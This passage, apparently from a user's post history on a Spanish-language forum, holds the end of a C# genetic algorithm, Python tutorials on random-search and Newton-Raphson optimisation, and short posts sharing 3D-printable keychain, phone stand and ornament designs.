        /*Se selecciona al azar individuos de nuestro contenedor para realizar su cruza, obtener el hijo
        y remplazar la antigua generacion con los nuevos hijos*/

        public void Generacion()
        {
            for(int i=0;i<poblacion.Length;i++)
            {
                int A = Program.random_entero(0, contenedor.Count - 1);
                int B = Program.random_entero(0, contenedor.Count - 1);
                ADN madre = contenedor[A];
                ADN padre = contenedor[B];
                ADN hijo = madre.Reproduccion(padre);
                hijo.Mutacion(tasa_mutacion);
                poblacion[i] = hijo;
            }
            generacion++;
        }

        //Se selecciona el mejor individuo de la generacion para retornar su string
        public string Mejor_individuo()
        {
            float val_Max = 0;
            int indice = 0;
            for (int i = 0; i < poblacion.Length; i++)
            {
                if (poblacion[i].aptitud > val_Max)
                {
                    val_Max = poblacion[i].aptitud;
                    indice = i;
                }
            }
            return new string(poblacion[indice].genes);
        }

        // Se calcula el promedio de aptitud por generacion
        public float Promedio()
        {
            float promedio = 0;
            for (int i = 0; i < poblacion.Length; i++)  promedio += poblacion[i].aptitud;
            return (float)promedio / (poblacion.Length);
        }

        //Método de mapeo
        float Map(float val, float x1, float x2, float y1, float y2)
        {
            return ((val - x1) / (x2 - x1)) * (y2 - y1) + y1;
        }
    }
}




#14
Python / Búsqueda aleatoria de óptimos con python
Abril 01, 2020, 03:21:57 PM
La búsqueda aleatoria para óptimos es un método directo un tanto burdo. Dicho método evalúa tantas muestras sea posible de manera aleatoria, si la cantidad de muestras es suficiente, eventualmente el óptimo se localizará.

Veamos, para que éste método funcione se tiene que definir la región a evaluar R:[xl,xu]X[yl,yu](donde los subíndices l y u indican los limites inferior y superior respectivamente) , una vez definida dicha región se dispone a evaluar un generador de números aleatorios definido por:

p=pl+(pu-pl)r   Ec. 1

Donde r es un aleatorio entre 0 y 1.

Aplicando la ecuación 1 a nuestra región para y y x quedarían de la siguiente manera:

x=xl+(xu-xl)r   Ec. 2
y=yl+(yu-yl)r   Ec. 3

Teniendo nuestros generadores de números aleatorios tanto para y y x, veamos un ejemplo práctico de su aplicación:

Tenemos que encontrar el mínimo de nuestra función z=cosx*cosy*x*exp(x-(y2/exp(x2))) en nuestra región cuadrada dada por R(x,y):[-1.5,1.5]X[-1.5,1.5]. La superficie de nuestra región para z será:

     VISTA X,Z


     VISTA Y,Z

Ahora definiendo nuestros generadores y y x, con la región dada R, mediante las ecuaciones 2 y 3 nos quedaría:

x=-1.5+3r   Ec. 4
y=-1.5+3r   Ec. 5

Escribiendo el código en python 3.6.8 para iterar nuestras funciones y evaluar Z, quedaría de la siguiente forma:

Código: python

#definimos la función
def f(x,y):
    z=np.cos(x)*np.cos(y)*x*np.exp(x-np.power(y,2)/np.exp(np.power(x,2)))
    return(z)
#Xmax=0
#Xmax=0

#inicializamos nuestras variables
Xmin=0
Ymin=0
actf=0.1
iteraciones=5000

#Aplicamos el metodo iterativo con nuestras funciones generador
for n in range(iteraciones):
    x=-1.5+3*np.random.rand() #Ec.4
    y=-1.5+3*np.random.rand() #Ec.5
    if f(x,y)<actf:  #f(x,y)>actf sentencia para maximos
        actf=f(x,y)
        Xmin=x
        Ymin=y
        print(str(actf))
       
print("El valor mínimo encontrado para "+str(iteraciones)+" iteraciones es f(x,y) es: "+str(actf))
print("para los valores 'x': " +str(Xmin)+ " y el valor 'y': " +str(Ymin))

# superficie -------------------------------------------------------------   
x=np.linspace(-1.5,1.5,35)
y=np.linspace(-1.5,1.5,35)
xmesh,ymesh=np.meshgrid(x,y)
zmesh=np.cos(xmesh)*np.cos(ymesh)*xmesh*np.exp(xmesh-np.power(ymesh,2)/np.exp(np.power(xmesh,2)))
fig=plt.figure()
ax=fig.add_subplot(1,1,1,projection='3d')
ax.plot_surface(xmesh,ymesh,zmesh,cstride=1,rstride=1)
plt.show()


Ejecutando nuestro código para 5000 iteraciones obtenemos:


Como vemos, el código nos genera una aproximación aceptable al mínimo de la región, comparado con gráfica de la vista XZ y YZ, si quisieramos encontrar el pico máximo de la región solo habría que cambiar la sentencia f(x,y)<actf a f(x,y)>actf en el if del  código en python.


#15
Impresiones 3D / Llavero Hail Underc0de
Marzo 30, 2020, 06:13:11 PM

Llavero Underc0de


Descarga el archivo

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#16
El método de Newton-Raphson es un método abierto que permite encontrar la raiz x de una función de tal manera que f(x)=0. En su forma simbólica se resume como:

xi+1 =xi-f(xi)/f'(xi)    Ec. 1

Se utiliza un método similar para encontrar un valor óptimo de f(x) al definir una nueva función r(x) dada por r(x)=f'(x), así para decir que se ha encontrado un óptimo de nuestra función se tiene que tener r(x)=0, por lo tanto se puede emplear lo siguiente para encontrar una x que satisfaga r(x)=0, de manera simbólica nuestro modelo a iterar quedaría como:

xi+1 =xi-r(xi)/r'(xi)   Ec. 2


Ahora veamos como aplicariamos ésto a un ejercicio práctico:

Queremos encontrar el óptimo de nuestra función con un x inicial de 2.5:

f(x)=2senx-x2/10

La gráfica de dicha ecuación quedaría como:


Escribiendo el código en Phyton 3.6.8 para aplicar la ecuación 2:

Código: php
import math

#Funcion a optimizar f(x)=2*math.sin(x)-pow(x,2)/10 ----> (2sinX-X^2/10)

#funcion primer derivada
def f_p(x):
    yp=2*math.cos(x)-x/5
    return (yp)

# funcion segunda derivada
def f_pp(x):
    ypp=-2*math.sin(x)-1/5
    return (ypp)

#introduciomos el valor x de partida (Xo asi como el numero de iteraciones)
xi=float(input("Introduce X_o: "))
iteraciones=int(input("Introduce el numero de iteraciones:  "))

raiz=[]
raiz.insert(0,0)

# inicializamos el contador de iteraciones
i=0

# Definimos un error inicial
error=1

# Aplicamos la formula Newton  para optimos
while iteraciones>i:
  xi_1=xi-(f_p(xi)/f_pp(xi))
  raiz.append(xi_1)
  i=i+1
  xi=xi_1
  error=(raiz[i]-raiz[i-1])/raiz[i]
  print(xi)
print("Error final:  " +str(error))
print("El optimo global aproximado es: " +str(2*math.sin(xi)-pow(xi,2)/10))



Finalmente, si ejecutamos el código para 5 iteraciones y con una x inicial de 2.5  obtendremos:


Si comparamos éste resultado con la gráfica anterior se puede notar que efectivamente el algoritmo converge a un óptimo global para un x inicial de 2.5

Nota: Estos métodos son de suma importancia para comenzar a entender el método de descenso por  gradiente aplicado a las redes neuronales, el cual es similar pero en los gradientes se aplican constantes de aprendizaje que hacen que la convergencia (si es que existe) sea mas rápida o mas lenta según lo permita la función




#17
Impresiones 3D / Stand Cellphone
Marzo 27, 2020, 03:25:28 PM
Diseño de stand cellphone adecuado para impresión 3D


Descarga el archivo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Impresiones 3D / Re:Adorno Pulpo Underc0de 3d
Marzo 21, 2020, 06:16:13 PM
Listo, link actualizado con los dos archivos stl, para ser impresos por separado  ;D
#19
Impresiones 3D / Adorno Pulpo Underc0de 3d
Marzo 21, 2020, 05:21:27 PM
Adorno de escritorio para impresora 3d

En tiempos de cuarentena hay que seguir siendo productivos   :D. He estado haciendo desarrollo de diseños mecánicos que ayuden a las necesidades actuales debido a la nueva pandemia, y para despejarme un rato hice este decorador de escritorio para la comunidad, espero lo disfruten   ;D


Descarga el archivo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta